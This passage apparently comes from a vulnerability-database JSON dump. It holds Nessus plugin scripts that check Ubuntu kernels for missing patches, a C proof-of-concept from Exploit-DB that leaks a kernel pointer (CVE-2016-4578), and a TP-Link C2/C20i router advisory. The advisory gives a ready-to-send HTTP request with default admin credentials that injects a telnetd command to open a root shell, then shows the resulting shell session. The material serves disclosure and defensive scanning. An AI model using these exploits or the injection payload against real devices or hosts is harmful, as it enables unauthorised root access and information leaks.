(CVE-2016-3138)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the Linux kernel's USB driver for Digi AccelePort serial\nconverters did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-3140)\n\nIt was discovered that the IPv4 implementation in the Linux kernel did\nnot perform the destruction of inet device objects properly. An\nattacker in a guest OS could use this to cause a denial of service\n(networking outage) in the host OS. (CVE-2016-3156)\n\nAndy Lutomirski discovered that the Linux kernel did not properly\ncontext- switch IOPL on 64-bit PV Xen guests. An attacker in a guest\nOS could use this to cause a denial of service (guest OS crash), gain\nprivileges, or obtain sensitive information. (CVE-2016-3157)\n\nHector Marco and Ismael Ripoll discovered that the Linux kernel would\nimproperly disable Address Space Layout Randomization (ASLR) for x86\nprocesses running in 32 bit mode if stack-consumption resource limits\nwere disabled. A local attacker could use this to make it easier to\nexploit an existing vulnerability in a setuid/setgid program.\n(CVE-2016-3672)\n\nIt was discovered that the Linux kernel's USB driver for IMS Passenger\nControl Unit devices did not properly validate the device's\ninterfaces. An attacker with physical access could use this to cause a\ndenial of service (system crash). (CVE-2016-3689)\n\nAndrey Konovalov discovered that the CDC Network Control Model USB\ndriver in the Linux kernel did not cancel work events queued if a\nlater error occurred, resulting in a use-after-free. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3951)\n\nIt was discovered that an out-of-bounds write could occur when\nhandling incoming packets in the USB/IP implementation in the Linux\nkernel. A remote attacker could use this to cause a denial of service\n(system crash) or possibly execute arbitrary code. (CVE-2016-3955).\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://usn.ubuntu.com/2965-4/\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected linux-image-4.4-snapdragon package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Linux BPF doubleput UAF Privilege Escalation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:linux-image-4.4-snapdragon\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:16.04\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2016/04/12\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/05/06\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/05/12\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"Ubuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Ubuntu Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\", \"linux_alt_patch_detect.nasl\");\n script_require_keys(\"Host/cpu\", \"Host/Ubuntu\", \"Host/Ubuntu/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"ubuntu.inc\");\ninclude(\"ksplice.inc\");\n\nif ( ! get_kb_item(\"Host/local_checks_enabled\") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/Ubuntu/release\");\nif ( isnull(release) ) audit(AUDIT_OS_NOT, \"Ubuntu\");\nrelease = chomp(release);\nif (! preg(pattern:\"^(16\\.04)$\", string:release)) audit(AUDIT_OS_NOT, \"Ubuntu 16.04\", \"Ubuntu \" + release);\nif ( ! get_kb_item(\"Host/Debian/dpkg-l\") ) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Ubuntu\", cpu);\n\nif (get_one_kb_item(\"Host/ksplice/kernel-cves\"))\n{\n rm_kb_item(name:\"Host/uptrack-uname-r\");\n cve_list = make_list(\"CVE-2016-2184\", \"CVE-2016-2185\", \"CVE-2016-2186\", \"CVE-2016-2188\", \"CVE-2016-3136\", \"CVE-2016-3137\", \"CVE-2016-3138\", \"CVE-2016-3140\", \"CVE-2016-3156\", \"CVE-2016-3157\", \"CVE-2016-3672\", \"CVE-2016-3689\", \"CVE-2016-3951\", \"CVE-2016-3955\", \"CVE-2016-4557\");\n if (ksplice_cves_check(cve_list))\n {\n audit(AUDIT_PATCH_INSTALLED, \"KSplice hotfix for USN-2965-4\");\n }\n else\n {\n _ubuntu_report = ksplice_reporting_text();\n }\n}\n\nflag = 0;\n\nif (ubuntu_check(osver:\"16.04\", pkgname:\"linux-image-4.4.0-1013-snapdragon\", pkgver:\"4.4.0-1013.14\")) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : ubuntu_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = ubuntu_pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"linux-image-4.4-snapdragon\");\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-11-03T12:31:04", "bulletinFamily": "scanner", "description": "USN-2971-1 fixed vulnerabilities in the Linux kernel for Ubuntu 15.10.\nThis update provides the corresponding updates for the Linux Hardware\nEnablement (HWE) kernel from Ubuntu 15.10 for Ubuntu 14.04 LTS.\n\nRalf Spenneberg discovered that the Aiptek Tablet USB device driver in\nthe Linux kernel did not properly sanity check the endpoints reported\nby the device. An attacker with physical access could cause a denial\nof service (system crash). (CVE-2015-7515)\n\nZach Riggle discovered that the Linux kernel", "modified": "2019-11-02T00:00:00", "id": "UBUNTU_USN-2971-2.NASL", "href": "https://www.tenable.com/plugins/nessus/91093", "published": "2016-05-12T00:00:00", "title": "Ubuntu 14.04 LTS : linux-lts-wily vulnerabilities (USN-2971-2)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Ubuntu Security Notice USN-2971-2. The text \n# itself is copyright (C) Canonical, Inc. See \n# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered \n# trademark of Canonical, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(91093);\n script_version(\"2.14\");\n script_cvs_date(\"Date: 2019/09/18 12:31:45\");\n\n script_cve_id(\"CVE-2015-7515\", \"CVE-2016-0821\", \"CVE-2016-2184\", \"CVE-2016-2185\", \"CVE-2016-2186\", \"CVE-2016-2188\", \"CVE-2016-3136\", \"CVE-2016-3137\", \"CVE-2016-3138\", \"CVE-2016-3140\", \"CVE-2016-3156\", \"CVE-2016-3157\", \"CVE-2016-3689\");\n script_xref(name:\"USN\", value:\"2971-2\");\n\n script_name(english:\"Ubuntu 14.04 LTS : linux-lts-wily vulnerabilities (USN-2971-2)\");\n script_summary(english:\"Checks dpkg output for updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Ubuntu host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"USN-2971-1 fixed vulnerabilities in the Linux kernel for Ubuntu 15.10.\nThis update provides the corresponding updates for the Linux Hardware\nEnablement (HWE) kernel from Ubuntu 15.10 for Ubuntu 14.04 LTS.\n\nRalf Spenneberg discovered that the Aiptek Tablet USB device driver in\nthe Linux kernel did not properly sanity check the endpoints reported\nby the device. An attacker with physical access could cause a denial\nof service (system crash). (CVE-2015-7515)\n\nZach Riggle discovered that the Linux kernel's list poison feature did\nnot take into account the mmap_min_addr value. A local attacker could\nuse this to bypass the kernel's poison-pointer protection mechanism\nwhile attempting to exploit an existing kernel vulnerability.\n(CVE-2016-0821)\n\nRalf Spenneberg discovered that the USB sound subsystem in the Linux\nkernel did not properly validate USB device descriptors. An attacker\nwith physical access could use this to cause a denial of service\n(system crash). (CVE-2016-2184)\n\nRalf Spenneberg discovered that the ATI Wonder Remote II USB driver in\nthe Linux kernel did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-2185)\n\nRalf Spenneberg discovered that the PowerMate USB driver in the Linux\nkernel did not properly validate USB device descriptors. An attacker\nwith physical access could use this to cause a denial of service\n(system crash). (CVE-2016-2186)\n\nRalf Spenneberg discovered that the I/O-Warrior USB device driver in\nthe Linux kernel did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-2188)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the MCT USB RS232 Converter device driver in the Linux kernel did\nnot properly validate USB device descriptors. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3136)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the Cypress M8 USB device driver in the Linux kernel did not\nproperly validate USB device descriptors. An attacker with physical\naccess could use this to cause a denial of service (system crash).\n(CVE-2016-3137)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the USB abstract device control driver for modems and ISDN\nadapters did not validate endpoint descriptors. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3138)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the Linux kernel's USB driver for Digi AccelePort serial\nconverters did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-3140)\n\nIt was discovered that the IPv4 implementation in the Linux kernel did\nnot perform the destruction of inet device objects properly. An\nattacker in a guest OS could use this to cause a denial of service\n(networking outage) in the host OS. (CVE-2016-3156)\n\nAndy Lutomirski discovered that the Linux kernel did not properly\ncontext- switch IOPL on 64-bit PV Xen guests. An attacker in a guest\nOS could use this to cause a denial of service (guest OS crash), gain\nprivileges, or obtain sensitive information. (CVE-2016-3157)\n\nIt was discovered that the Linux kernel's USB driver for IMS Passenger\nControl Unit devices did not properly validate the device's\ninterfaces. An attacker with physical access could use this to cause a\ndenial of service (system crash). (CVE-2016-3689).\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://usn.ubuntu.com/2971-2/\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Update the affected linux-image-4.2-generic,\nlinux-image-4.2-generic-lpae and / or linux-image-4.2-lowlatency\npackages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:linux-image-4.2-generic\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:linux-image-4.2-generic-lpae\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:linux-image-4.2-lowlatency\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:14.04\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2016/03/12\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/05/09\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/05/12\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"Ubuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Ubuntu Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\", \"linux_alt_patch_detect.nasl\");\n script_require_keys(\"Host/cpu\", \"Host/Ubuntu\", \"Host/Ubuntu/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"ubuntu.inc\");\ninclude(\"ksplice.inc\");\n\nif ( ! get_kb_item(\"Host/local_checks_enabled\") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/Ubuntu/release\");\nif ( isnull(release) ) audit(AUDIT_OS_NOT, \"Ubuntu\");\nrelease = chomp(release);\nif (! preg(pattern:\"^(14\\.04)$\", string:release)) audit(AUDIT_OS_NOT, \"Ubuntu 14.04\", \"Ubuntu \" + release);\nif ( ! get_kb_item(\"Host/Debian/dpkg-l\") ) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Ubuntu\", cpu);\n\nif (get_one_kb_item(\"Host/ksplice/kernel-cves\"))\n{\n rm_kb_item(name:\"Host/uptrack-uname-r\");\n cve_list = make_list(\"CVE-2015-7515\", \"CVE-2016-0821\", \"CVE-2016-2184\", \"CVE-2016-2185\", \"CVE-2016-2186\", \"CVE-2016-2188\", \"CVE-2016-3136\", \"CVE-2016-3137\", \"CVE-2016-3138\", \"CVE-2016-3140\", \"CVE-2016-3156\", \"CVE-2016-3157\", \"CVE-2016-3689\");\n if (ksplice_cves_check(cve_list))\n {\n audit(AUDIT_PATCH_INSTALLED, \"KSplice hotfix for USN-2971-2\");\n }\n else\n {\n _ubuntu_report = ksplice_reporting_text();\n }\n}\n\nflag = 0;\n\nif (ubuntu_check(osver:\"14.04\", pkgname:\"linux-image-4.2.0-36-generic\", pkgver:\"4.2.0-36.41~14.04.1\")) flag++;\nif (ubuntu_check(osver:\"14.04\", pkgname:\"linux-image-4.2.0-36-generic-lpae\", pkgver:\"4.2.0-36.41~14.04.1\")) flag++;\nif (ubuntu_check(osver:\"14.04\", pkgname:\"linux-image-4.2.0-36-lowlatency\", pkgver:\"4.2.0-36.41~14.04.1\")) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : ubuntu_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = ubuntu_pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"linux-image-4.2-generic / linux-image-4.2-generic-lpae / etc\");\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "exploitdb": [{"lastseen": "2019-03-11T14:56:30", "bulletinFamily": "exploit", "description": "", "modified": "2019-03-11T00:00:00", "published": "2019-03-11T00:00:00", "id": "EDB-ID:46529", "href": "https://www.exploit-db.com/exploits/46529", "type": "exploitdb", "title": "Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Pointer Leak", "sourceData": "#include <stdio.h>\r\n#include <errno.h>\r\n#include <string.h>\r\n#include <unistd.h>\r\n#include <stdint.h>\r\n#include <sys/syscall.h>\r\n#include <asm/unistd_64.h>\r\n#include <sys/types.h>\r\n#include <sys/stat.h>\r\n#include <fcntl.h>\r\n#include <sys/mman.h>\r\n#include <sys/stat.h>\r\n#include <sys/ioctl.h>\r\n#include <sound/asound.h>\r\n\r\n# Exploit Title: Linux Kernel 4.4 (Ubuntu 16.04) - Leak kernel pointer in snd_timer_user_ccallback()\r\n\r\n# Google Dork: -\r\n\r\n# Date: 2019-03-11\r\n\r\n# Exploit Author: wally0813\r\n\r\n# Vendor Homepage: -\r\n\r\n# Software Link: -\r\n\r\n# Version: Linux Kernel 4.4 (Ubuntu 16.04)\r\n\r\n# Tested on: ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux\r\n\r\n# CVE: CVE-2016-4578\r\n\r\n# Category: Local\r\n\r\n\r\n\r\n/*\r\n * [ Briefs ]\r\n * - If snd_timer_user_ccallback() doesn't initialize snd_timer_tread.event and snd_timer_tread.val, they are leaked by snd_timer_user_read()\r\n * - This is local exploit against the CVE-2016-4578.\r\n *\r\n * [ Tested version ]\r\n * - 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux\r\n *\r\n * [ Prerequisites ]\r\n * - \r\n *\r\n * [ Goal ]\r\n * - Leak 4 bytes kernel pointer address using snd_timer_user_ccallback()\r\n *\r\n * [ Run exploit ]\r\n * - $ gcc -o poc poc.c\r\n * - $ sudo ./poc\r\n * leak_value(event) : ffff8800\r\n * leak_value(val) : ffffffff\r\n *\r\n * [ Contact ]\r\n * - soyeoni0813@gmail.com\r\n */\r\n\r\n\r\n\r\nint fd;\r\n\r\nvoid leak(){\r\n\r\n\tstruct snd_timer_tread td;\r\n\tstruct snd_timer_select st;\r\n\tstruct snd_timer_params ps;\r\n\tint r;\r\n\tunsigned int leak_value_e, leak_value_v;\r\n\tint tread;\r\n\r\n\tmemset(&td,0,sizeof(td));\r\n\tmemset(&st,0,sizeof(st));\r\n\tmemset(&ps,0,sizeof(ps));\r\n\r\n\r\n\t// set tread\r\n\ttread = 1;\r\n\tps.filter |= 1<<SNDRV_TIMER_EVENT_START;\r\n\tps.ticks = 1000 * 1000;\r\n\r\n\tr = ioctl(fd, SNDRV_TIMER_IOCTL_TREAD, &tread);\r\n\tif (r) {\r\n\t\tprintf(\"SNDRV_TIMER_IOCTL_TREAD error : %d, %s\\n\", errno, strerror(errno));\r\n\t\treturn;\r\n\t}\r\n\r\n\r\n\t// vuln trigger\r\n\tst.id.dev_class = SNDRV_TIMER_CLASS_GLOBAL;\r\n\tst.id.dev_sclass = SNDRV_TIMER_SCLASS_APPLICATION;\r\n\tr = ioctl(fd, SNDRV_TIMER_IOCTL_SELECT, &st);\r\n\tif (r) {\r\n\t\tprintf(\"SNDRV_TIMER_IOCTL_SELECT error : %d, %s\\n\", errno, strerror(errno));\r\n\t\treturn;\r\n\t}\r\n\r\n\tr = ioctl(fd, SNDRV_TIMER_IOCTL_PARAMS, &ps);\r\n\tif (r) {\r\n\t\tprintf(\"SNDRV_TIMER_IOCTL_PARAMS error : %d, %s\\n\", errno, strerror(errno));\r\n\t\treturn;\r\n\t}\r\n\r\n\tr = ioctl(fd, SNDRV_TIMER_IOCTL_START);\r\n if (r) {\r\n \tprintf(\"SNDRV_TIMER_IOCTL_START error : %d, %s\\n\", errno, strerror(errno));\r\n \treturn;\r\n\t}\r\n\r\n\r\n // get leak\r\n\tr = read(fd, &td, sizeof(td));\r\n\t\r\n\tleak_value_e = *((unsigned long *)(&td.event+1));\r\n\tprintf(\"leak_value(event) : %lx\\n\", leak_value_e);\r\n\r\n\tleak_value_v = *((unsigned long *)(&td.val+1));\r\n\tprintf(\"leak_value(val) : %lx\\n\", leak_value_v);\r\n\r\n}\r\n\r\nint main(int argc, char **argv)\r\n{\r\n\tfd = open(\"/dev/snd/timer\", O_RDWR);\r\n\r\n\tif (fd < 0) {\r\n\t\tprintf(\"open error : %d, %s\\n\", errno, strerror(errno));\r\n\t\treturn -1;\r\n\t}\r\n\r\n\tleak();\r\n\tclose(fd);\r\n\treturn 0;\r\n}", "cvss": {"score": 2.1, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "sourceHref": "https://www.exploit-db.com/download/46529"}], "zdt": [{"lastseen": "2018-04-03T13:29:45", "bulletinFamily": "exploit", "description": "TP-Link CS and C20i are vulnerable to command injection, denial of service, and improper firewall rule issues.", "modified": "2017-02-10T00:00:00", "published": "2017-02-10T00:00:00", "href": "https://0day.today/exploit/description/26951", "id": "1337DAY-ID-26951", "type": "zdt", "title": "TP-Link C2 / C20i Command Injection / Denial Of Service", "sourceData": "Title: TP-Link C2 and C20i vulnerable to command injection\r\n(authenticated root RCE), DoS, improper firewall rules\r\nAdvisory URL: https://pierrekim.github.io/advisories/2017-tplink-0x00.txt\r\nBlog URL: https://pierrekim.github.io/blog/2017-02-09-tplink-c2-and-c20i-vulnerable.html\r\nDate published: 2017-02-09\r\nVendors contacted: TP-Link\r\nRelease mode: Released\r\nCVE: no current CVE\r\n\r\n\r\n\r\n## Product Description\r\n\r\nTP-Link is a Chinese manufacturer of computer networking products such\r\nas routers and IOT devices.\r\n\r\n\r\n\r\n## Vulnerabilities Summary\r\n\r\nCommand Injections exist in the HTTP management interface up to the\r\nlatest firmware version (0.9.1 4.2 v0032.0 Build 160706 Rel.37961n) of\r\nTP-Link C2 and C20i, allowing an authenticated attacker to get a\r\nremote shell with root privileges.\r\nAn attacker can DoS the httpd server and the firewall rules are too\r\npermissive by default on the WAN interface.\r\n\r\n\r\n\r\n## Details - RCE with a single HTTP request\r\n\r\nUsing the so-called \"Diagnostic\" page, the attacker can run any\r\ncommand including telnetd, using the remote host field of the ping\r\nutility:\r\n\r\n$(echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25)\r\n\r\nWhile being authenticated (see the credentials in base64 format),\r\nsending this HTTP request directly will start a telnetd on the router\r\non port 25/tcp without authentication:\r\n\r\nPOST /cgi?2 HTTP/1.1\r\nHost: 192.168.1.1\r\nContent-Type: text/plain\r\nReferer: http://192.168.1.1/mainFrame.htm\r\nContent-Length: 208\r\nCookie: Authorization=Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\n\r\n\r\n[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\ndataBlockSize=64\r\ntimeout=1\r\nnumberOfRepetitions=1\r\nhost=$(echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25)\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\n\r\n\r\n\r\nAn attacker can also use backsticks to execute commands:\r\n`echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25`\r\n\r\n\r\nResulting access:\r\n\r\n[email\u00a0protected]:~/tplink-0day-c2-and-c20i$ telnet 192.168.1.1 25\r\nTrying 192.168.1.1...\r\nConnected to 192.168.1.1.\r\nEscape character is '^]'.\r\n~ # ls\r\nweb usr sbin mnt lib dev\r\nvar sys proc linuxrc etc bin\r\n~ # cat /proc/version\r\nLinux version 2.6.36 ([email\u00a0protected]) (gcc version 4.6.3\r\n(Buildroot 2012.11.1) ) #1 Wed Jul 6 10:01:06 HKT 2016\r\n~ # ls -la\r\ndrwxr-xr-x 9 176 web\r\ndrwxr-xr-x 13 0 var\r\ndrwxr-xr-x 4 38 usr\r\ndrwxr-xr-x 11 0 sys\r\ndrwxr-xr-x 2 193 sbin\r\ndr-xr-xr-x 83 0 proc\r\ndrwxr-xr-x 2 3 mnt\r\nlrwxrwxrwx 1 11 linuxrc -> bin/busybox\r\ndrwxr-xr-x 3 786 lib\r\ndrwxr-xr-x 5 776 etc\r\ndrwxr-xr-x 5 1274 dev\r\ndrwxr-xr-x 2 280 bin\r\ndrwxr-xr-x 13 177 ..\r\ndrwxr-xr-x 13 177 .\r\n~ # cd etc\r\n/etc # ls\r\nvsftpd_passwd init.d SingleSKU_5G_RU.dat\r\nvsftpd.conf group SingleSKU_5G_NZ.dat\r\nushare.conf fstab SingleSKU_5G_MY.dat\r\nservices default_config.xml SingleSKU_5G_KR.dat\r\nsamba TZ SingleSKU_5G_FCC.dat\r\nresolv.conf SingleSKU_RU.dat SingleSKU_5G_CE.dat\r\nreduced_data_model.xml SingleSKU_NZ.dat SingleSKU_5G_CA.dat\r\nppp SingleSKU_MY.dat RT2860AP5G.dat\r\npasswd.bak SingleSKU_KR.dat RT2860AP.dat\r\npasswd SingleSKU_FCC.dat MT7620_AP_2T2R-4L_V15.BIN\r\niptables-stop SingleSKU_CE.dat MT7610E-V10-FEM-1ANT.bin\r\ninittab SingleSKU_5G_VN.dat\r\n/etc # cd ..\r\n~ # ls -la\r\ndrwxr-xr-x 9 176 web\r\ndrwxr-xr-x 13 0 var\r\ndrwxr-xr-x 4 38 usr\r\ndrwxr-xr-x 11 0 sys\r\ndrwxr-xr-x 2 193 sbin\r\ndr-xr-xr-x 83 0 proc\r\ndrwxr-xr-x 2 3 mnt\r\nlrwxrwxrwx 1 11 linuxrc -> bin/busybox\r\ndrwxr-xr-x 3 786 lib\r\ndrwxr-xr-x 5 776 etc\r\ndrwxr-xr-x 5 1274 dev\r\ndrwxr-xr-x 2 280 bin\r\ndrwxr-xr-x 13 177 ..\r\ndrwxr-xr-x 13 177 .\r\n~ # ps\r\n PID USER VSZ STAT COMMAND\r\n 1 admin 1060 S init\r\n 2 admin 0 SW [kthreadd]\r\n 3 admin 0 SW [ksoftirqd/0]\r\n 4 admin 0 SW [kworker/0:0]\r\n 5 admin 0 SW [kworker/u:0]\r\n 6 admin 0 SW< [khelper]\r\n 7 admin 0 SW [kworker/u:1]\r\n 44 admin 0 SW [sync_supers]\r\n 46 admin 0 SW [bdi-default]\r\n 48 admin 0 SW< [kblockd]\r\n 80 admin 0 SW [kswapd0]\r\n 82 admin 0 SW< [crypto]\r\n 130 admin 0 SW [mtdblock0]\r\n 135 admin 0 SW [mtdblock1]\r\n 140 admin 0 SW [mtdblock2]\r\n 145 admin 0 SW [mtdblock3]\r\n 150 admin 0 SW [mtdblock4]\r\n 155 admin 0 SW [mtdblock5]\r\n 160 admin 0 SW [mtdblock6]\r\n 172 admin 0 SW [kworker/0:1]\r\n 214 admin 0 SW [khubd]\r\n 245 admin 1060 S telnetd\r\n 251 admin 2932 S cos\r\n 252 admin 1060 S init\r\n 255 admin 2120 S igmpd\r\n 258 admin 2144 S mldProxy\r\n 345 admin 2932 S cos\r\n 346 admin 2932 S cos\r\n 347 admin 2932 S cos\r\n 366 admin 2088 S ntpc\r\n 371 admin 2096 S dyndns /var/tmp/dconf/dyndns.conf\r\n 374 admin 2096 S noipdns /var/tmp/dconf/noipdns.conf\r\n 377 admin 2096 S cmxdns /var/tmp/dconf/cmxdns.conf\r\n 433 admin 0 SW [RtmpCmdQTask]\r\n 434 admin 0 SW [RtmpWscTask]\r\n 445 admin 1244 S wlNetlinkTool\r\n 449 admin 1080 S wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/\r\n 465 admin 1244 S wlNetlinkTool\r\n 466 admin 1244 S wlNetlinkTool\r\n 489 admin 0 SW [RtmpCmdQTask]\r\n 490 admin 0 SW [RtmpWscTask]\r\n 503 admin 1064 S wscd_5G -i rai0 -m 1 -w /var/tmp/wsc_upnp_5G/\r\n 506 admin 2668 S httpd\r\n 518 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port\r\n 521 admin 2084 S dnsProxy\r\n 526 admin 1068 S dhcpd /var/tmp/dconf/udhcpd.conf\r\n 551 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port\r\n 552 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port\r\n 553 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port\r\n 554 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port\r\n 555 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port\r\n 556 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port\r\n 557 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port\r\n 558 admin 2668 S tmpd\r\n 561 admin 2556 S tdpd\r\n 569 admin 988 S dhcpc\r\n 578 admin 1036 S zebra -d -f /var/tmp/dconf/zebra.conf\r\n 594 admin 2088 S diagTool\r\n 625 admin 1136 S dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_hos\r\n 642 admin 2468 S ushare\r\n 658 admin 2468 S ushare\r\n 660 admin 2468 S ushare\r\n 661 admin 2468 S ushare\r\n 662 admin 2468 S ushare\r\n 663 admin 2468 S ushare\r\n 664 admin 2468 S ushare\r\n 666 admin 2468 S ushare\r\n 851 admin 1060 S /usr/sbin/telnetd -l /bin/sh -p 25\r\n 853 admin 1072 S /bin/sh\r\n 876 admin 1068 S /bin/sh\r\n 878 admin 2576 S cli\r\n 887 admin 1060 R ps\r\n~ 